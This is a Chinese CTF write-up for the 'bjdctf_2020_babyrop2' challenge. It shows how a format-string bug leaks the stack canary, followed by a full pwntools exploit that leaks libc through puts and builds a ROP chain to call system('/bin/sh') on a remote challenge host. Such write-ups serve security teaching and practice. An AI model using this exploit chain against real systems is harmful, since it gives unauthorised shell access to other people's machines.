普通的ret2libc,开启了canary保护。

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

题目给了gift()函数,存在格式化字符串漏洞,可以利用它输出canary的值。

unsigned __int64 gift()
{
  char format; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("I'll give u some gift to help u!");
  __isoc99_scanf("%6s", &format);
  printf(&format);
  puts(byte_400A05);
  fflush(0LL);
  return __readfsqword(0x28u) ^ v2;
}

在call _printf处下断点,可以看到本次canary的值为0x23993cc0ccc1fc00:

printf函数的第七个参数为[rsp+8](rdi、rsi、rdx、rcx、r8、r9、rsp、[rsp+8]),因此gift()函数中格式化字符串漏洞处可输入%7$p得到canary的值。

exp如下:

from pwn import *
from LibcSearcher import *

elf = ELF('./bjdctf_2020_babyrop2')

local = 0
if local == 1:
    io = process('./bjdctf_2020_babyrop2')
    #gdb.attach(io,'b * 0x400857')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    io = remote('node4.buuoj.cn',25887)
    libc = ELF('libc-2.23-0ubuntu11.so')

io.recvuntil("help u!\n")
payload = '%7$p'
io.sendline(payload)
canary_addr = io.recvuntil("\n")
canary_addr = int(canary_addr[:-1],16)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_address = 0x400887
rdi_ret = 0x0000000000400993
ret = 0x00000000004005f9

payload2 = 'a'*(0x20-8)+p64(canary_addr)+p64(0xdeadbeef)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln_address)
io.recvuntil("Pull up your sword and tell me u story!\n")
io.sendline(payload2)

puts_addr = u64(io.recv(6)+'\x00\x00')
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()

payload3 = 'a'*(0x20-8)+p64(canary_addr)+p64(0xdeadbeef)+p64(rdi_ret)+p64(binsh)+p64(system_addr)+p64(ret)
io.recvuntil("story!\n")
io.sendline(payload3)


io.interactive()